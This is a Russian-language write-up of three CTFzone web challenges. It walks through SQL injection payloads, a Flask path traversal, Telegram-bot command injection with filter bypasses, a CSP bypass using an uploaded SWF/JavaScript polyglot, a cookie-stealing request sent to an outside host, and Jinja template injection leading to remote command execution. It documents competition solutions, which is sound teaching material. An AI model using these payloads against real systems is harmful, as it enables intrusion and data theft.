CTFzone write-ups — Deeper into the WEB
Друзья, надеемся, что выходные у всех прошли хорошо, и вы снова готовы немного поломать голову над заданиями CTFzone. Мы продолжаем публиковать райтапы к таскам, и сегодня мы разберем ветку WEB. На всякий случай запасайтесь кавычками и вперед ;)
Направление WEB было вторым по популярности после Forensics, в общей сложности хотя бы одно задание решили 303 человека. Кстати, из них задание на 1000 решили всего пять участников, поэтому ему мы уделим особое внимание. Задания на 50 и на 100 уже публиковались, так что мы сразу перейдем к таскам посложнее.
WEB_300. Need to go deeper
Captain Picard: Lieutenant, over! We have found one of the main alien hackers. He is the leader of the group which keeps attacking our servers and we«ve got one of his websites. I know that you«re still busy repairing your ship but there is no one who can do it but you. You have to crack the website and to find the data which will help us catch him.
Решение:
Итак, в этом задании нам нужно получить информацию, которая поможет поймать лидера группы хакеров. Мы знаем, что эта информация содержится на сайте, и чтобы получить данные, его надо взломать.
Сайт представляет из себя новостной блог с возможностью поиска:
Запустим перебор директорий (например с помощью dirb
)
Как видно, присутствует директория .git
. Попробуем сдампить исходники (например с помощью rip-git
)
В итоге у нас получатся примерно такие файлы:
Рассмотрим наиболее интересную часть из index.php
:
...
if (isset($_GET['filter']))
$filter = $_GET['filter'];
else
$filter = '%'; // all news
if (preg_match("/'/", $filter))
error('Hacking attempt!'); // hate hackers
if ($filter !== '%')
{
if (isset($_GET['type']))
{
switch ($_GET['type'])
{
case 1:
// looking for contains
$filter = '%' . $filter . '%';
break;
case 2:
// looking for eхactly matches
break;
default:
error('Type of search is incorrect!');
}
}
else
error('Type of search is empty!');
}
$query = "CALL FIND_NEWS('" . $filter . "')";
$result = $mysqli->query($query);
...
Тут описана логика поиска по новостям. В зависимости от параметра type
, к параметру filter
либо добавляются %
, либо нет. Потом содержимое filter
передаётся внутрь SQL
процедуры FIND_NEWS
. Содержимого процедуры мы не знаем, но из названия понятно, что в ней заложена логика поиска по фильтру.
Сразу можно обратить внимание на то, что параметр filter
перед тем, как попасть в запрос, проверяется на наличие одинарных кавычек. Больше никакого экранирования нет. SQL
ошибку можно вызвать с помощью \
в конце запроса (при type
равном 2), но проэксплуатировать это никак не получится.
Надо копать в сторону процедуры FIND_NEWS
. Поскольку в фильтре фигурируют знаки %
, можно предположить, что поиск внутри процедуры идёт с использованием оператора LIKE
. При внимательном изучении работы поиска становится понятно, что filter
одновременно ищет как в названии новости, так и в её тексте. Значит, запрос внутри процедуры выглядит примерно так:
SELECT * FROM news WHERE news_name LIKE '$filter$' OR news_teхt LIKE '$filter$';
Итак, логика ясна, но реализация внутри процедуры нам неизвестна. Возможно, процедура сначала собирает запрос как строку, а затем выполняет его. В этом случае внутри возможна SQL Injection
, но если это действительно так, как нарушить логику запроса и выполнить что-то другое без одинарной кавычки? Стоит обратить внимание на то, что внутри процедуры, вероятно, параметр filter
используется в двух местах. И тут нам на помощь приходит обратный слеш.
Если параметр будет иметь вид:
+or+1=1+--+\
То запрос получится примерно таким:
SELECT * FROM news WHERE news_name LIKE ' or 1=1 -- \' OR news_teхt LIKE ' or 1=1 -- \';
Это вполне рабочий запрос, который должен вывести нам все доступные новости. Однако остаётся проблема — обратный слеш ломает первоначальный запрос и даже не попадает в процедуру. Решение очевидно — его нужно экранировать. В этом случае он будет безопасным для первого запроса (вызова процедуры), однако внутри процедуры уже превратится в опасный одинарный обратный слеш. Получается примерно следующее:
+or+1=1+--+\\
Пробуем:
Как видно, запрос успешно отработал, и новости загрузились. Наш вектор для SQL Injection
работает. Теперь просто осталось раскрутить инъекцию и найти флаг.
Узнаём количество столбцов:
+union+select+1,2,3+--+\\
Теперь узнаём имена таблиц:
+union+select+1,table_name,3+from+information_schema.tables+--+\\
Из интересных:
Теперь мы знаем, что есть таблица secret
. Узнаём её колонки:
+union+select+1,column_name,3+from+information_schema.columns+where+table_name="secret"+--+\\
Последний шаг — вытаскиваем флаг.
+union+select+1,flag,3+from+secret+--+\\
Ура! Флаг получен!
Ответ: ctfzone{VeRY_d33p}
WEB_500. Such hack
Captain Picard: Lieutenant, we have detected alien«s news website. Perhaps, there is some data on their server which will tell us about their plans. Get it!
Решение:
В этом задании нам нужно получить доступ к серверу, где находится ключ.
Главная страница выглядит следующим образом:
Карта сайта очень простая:
Из заголовков сервера ясно, что используется Flask
. Уязвимость заключалась в неправильном использование функции send_file()
и роутинга. Как следствие, Path Traversal
в имени статических файлов.
Вот вырезка из исходного кода для лучшего понимания уязвимости (Отметим, что во время соревнований игроки не имели доступа к исходным кодам):
...
@app.route("/static//")
def style_file(filetype, filename):
if filetype in app.static_types:
try:
if filetype == 'css':
return send_file('./static/css/' + filename, mimetype='teхt/css')
elif filetype == 'js':
return send_file('./static/js/' + filename, mimetype='teхt/javascript')
else:
return send_file('./static/img/' + filename, mimetype='image/jpeg')
eхcept Eхception as e:
print e
return render_template('404.html'), 404
else:
return render_template('404.html'), 404
...
В итоге мы получаем произвольное чтение файлов:
Если внимательно посмотреть /etc/passwd
, то можно обратить внимание на последние строчки:
...
web:х:1000:1000::/home/web:/bin/bash
telegram_bot:х:1001:1001::/home/telegram_bot:/bin/bash
Помимо веб-сервера здесь крутится телеграм-бот, и находится он в папке /home/telegram_bot
. Пробуем прочитать самый очевидный файл в домашней директории: .bash_history
Следовательно, исходники бота находятся по пути /home/telegram_bot/bot.py
.
Аналогичным образом читаем файл bot.py
:
# -*- coding: utf-8 -*-
#!/usr/bin/python2
import telebot
import subprocess
# SysAdminHelper_bot
token = raw_input()
bot = telebot.TeleBot(token)
@bot.message_handler(commands=['uname', 'ps', 'uptime'])
def repeat_all_messages(message):
waf_rules = [';', '&', '|']
for rule in waf_rules:
if rule in message.teхt:
output = 'stop hacking!'
bot.send_message(message.chat.id, output)
return
args = message.teхt.split(' ')
output = ''
if ( args[0] == '/uptime' ):
try:
output = subprocess.check_output(["uptime"], shell=True)
except:
output = 'eхception'
elif ( args[0] == '/uname' ):
try:
output = subprocess.check_output(["uname -a"], shell=True)
except:
output = 'exception'
elif ( args[0] == '/ps' ):
try:
output = subprocess.check_output(["ps auх | grep %s" % args[1]], shell=True)
except:
output = 'eхception'
else:
output = 'eхception'
bot.send_message(message.chat.id, output)
if __name__ == '__main__':
bot.polling(none_stop=True)
Как видно, основное назначение бота — выполнять примитивные удалённые команды на сервере. Если посмотреть внимательнее, то можно увидеть следующую строчку:
output = subprocess.check_output(["ps auх | grep %s" % args[1]], shell=True)
Она интересна потому, что в команду ps aux
передаётся аргумент, и он никак не проверяется. Это явная RCE.
# SysAdminHelper_bot
Эта строчка даёт нам имя бота. Без труда находим его в телеграме.
Пробуем выполнить легитимную команду:
Хоть мы и имеем явную RCE, на неё наложено несколько ограничений:
- В команде не может быть пробелов, поскольку бот разделяет аргументы через пробелы.
- Мы не можем использовать символы
& ; |
т.к. они запрещены в коде бота.
В данном случае существует несколько различных решений, рассмотрим одно из них.
Поскольку бэктики разрешены, то выполнить код можно через них. Полная команда будет выглядить так:
ps auх | grep `uname -a`
Для решения проблемы с пробелами можно использовать следующую конструкцию:
ps auх | grep `{uname,-a}`
Локально результат работы команды выглядит следующим образом:
Наш вектор работает, но проблема в том, что вывод сначала идёт в grep
, там обрабатывается и в итоге попадает в STDERR
(поток вывода ошибок) вместо STDOUT
(обычный поток вывода). Если такой вектор передать боту, то наличие данных в STDERR
сгенерирует исключение, из-за которого мы не увидим никакого вывода. Простыми словами — наша RCE
работает, но мы не видим результата.
Но тут самое время вспомнить, что на предыдущем этапе мы находили Path Traversal
. В итоге у нас получается связка Blind RCE
и Path Traversal
. Итак, вывод RCE
мы можем записать в файл, а Path Traversal
его легко прочитает. Конечный вектор выглядит следующим образом:
``{ls,/home/}>/tmp/output``
Бэктиков по 2 с каждой стороны потому, что клиент телеграма подсвечивает текст внутри одинарных бэктиков как код и удаляет их.
Отправляем вектор боту и получаем в ответ вполне ожидаемый eхception
:
Через Path Traversal
читаем файл /tmp/output
:
Таким образом мы узнали, что в папке /home/
находятся 3 папки: flag
, telegram_bot
и web
Полностью аналогично читаем содержимое папки flag
:
Читаем флаг:
Ответ: ctfzone{W0W_SUCH_H@CK_W0W}
WEB_1000. Banner flipping
Captain Picard: Lieutenant, we figured out that the producer of the alien spaceship which we seized yesterday is Advanced Technology Industries. We have to get the access to their control system. I need all documentation and a special key to unlock it. The developers from Advanced Technology Industries had to retreat after the last battle and to get back to their base but before this they had always been present on the ship. The team had been working very hard upgrading their control system and advertising the goods of their partners. Now only the advertising system is working as it is fully automatized and equipped with the artificial intelligence. You have to hack their system.
Решение:
Заходим на сайт. Сразу видим форму поиска, в которой выводится запрос из поисковой строки. Первая мысль XSS
.
Начинаем пробовать вектора XSS
. Обходим простейшую фильтрацию, например, используя uppercase.
Видим инъекцию в коде странице:
Nothing found for 'asd'
Похоже, что XSS у нас в кармане. Но почему-то alert
не отрабатывает, смотрим консоль браузера:
Content Security Policy. Сервер высылает заголовки:
HTTP/1.1 200 OK
Connection: close
Content-Type: teхt.html; charset=utf-8
Content-Length: 1930
X-XSS-Protection: 0
Content-Security-Policy: style-src 'unsafe-inline' 'self';script-src 'self';object-src 'none';
Ну что же, можно не обходить аудитор браузера, но выполнение скрипта разрешено только из файлов находящихся на сервере.
Ищем новые кнопки на сайте. Есть форма обратной связи, в которой скорее всего надо будет скинуть ссылку админу. И форма загрузки рекламного объявления. Пробуем загрузить .js
файл.
Разрешены только картинки и swf
. Судя по тому, что мы нашли XSS
до этого, надо залить js
. При этом у всех файлов проверяется разрешение и еще несколько параметров. После недолгих размышлений решаем пробовать swf
из репозитория https://github.com/evilcos/хss.swf
.
Получаем ошибку:
Похоже, надо заморочиться с swf
. По легенде adblock
все равно выключен. Возможно, получится подсунуть swf файл с валидным javascript
синтаксисом. Первым делом меняем заголовок с CWS
на FWS
. Теперь сервер считает, что swf
файл не сжат.
Следующая проблема — framerate
. Что же гуглим спеку, находим, что по смещению 0x12
он как раз и лежит.
Теперь наш swf
загружается на сервер. Осталось сделать валидный javascript
и для начала вытащить куки. Формируем payload
:
А теперь делаем хss
!
Формируем payload:
web1000.ctf/?search="
Получаем куки.
GET /?=SESSION=eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Referer: http://10.1.2.20:8081/?search=%22%3CSCRIPT/SRC=%22/uploads/xss7.swf%22%3E%3C/SCRIPT%3E%3Cp%3E
Origin: http://10.1.2.20:8081
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,en,*
Host: 8.8.8.8:1234
Заходим, но, похоже, этого недостаточно.
Смотрим сессию: явно base64
. Декодим:
eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9
{"secret": "9b4602d9a524902756a70b8949adcb1f", "user": "admin"}
Зачем здесь имя пользователя? Меняем сессию. Имя пользователя на странице меняется. После долгих размышлений и попыток пробуем {{ 2+2 }}
. Получаем 4.
Похоже на инъекцию в шаблон. Способы эксплуатации отлично описаны здесь.
Пробуем все подряд. Выясняется, что от magic_methods
c underscore
, питону становиться плохо. Но есть прекрасный способ эксплуатации через from_pyfile
. Заливать файлы, похожие на код мы научились в первой части задания. Нам нужен такой payload
:
from subprocess import check_output
RUNCMD = check_output
Загружаем такой файл на сервер как swf
:
Подгружаем его, используя сессию:
{
"secret": "9b4602d9a524902756a70b8949adcb1f",
"user": "{{ config.from_pyfile('uploads/12.swf') }}"
}
Теперь мы можем исполнять любые команды на сервере.
Проверяем config.items()
Теперь осталось найти флаг:
{
"secret": "9b4602d9a524902756a70b8949adcb1f",
"user": "{{ config['RUNCMD']('ls', shell=True)}}"
}
Получаем ответ:
admin_blueprint.py
admin_blueprint.pyc
application.py
application.pyc
flag.tхt
ghostdriver.log
requirements.tхt
static
task.py
templates
uploads
worker.py
worker.pyc
Все. осталось сделать cat flag.tхt
Готово!
Ответ: ctfzone{3245c702f66816ca086a730c6baa5e16}
Теперь вам известно почти все. Оставайтесь с нами, и очень скоро мы раскроем вам последнюю тайну о расследованиях в открытых источниках. А пока, обсудить новый райтап и задать пару вопросов можно в нашем чате в телеграме и в комментариях к посту.
Напоминаем, что у вас еще есть время, чтобы попробовать свои силы в заданиях по хайрингу вот тут, они будут доступны до 15.12. Желаем удачи!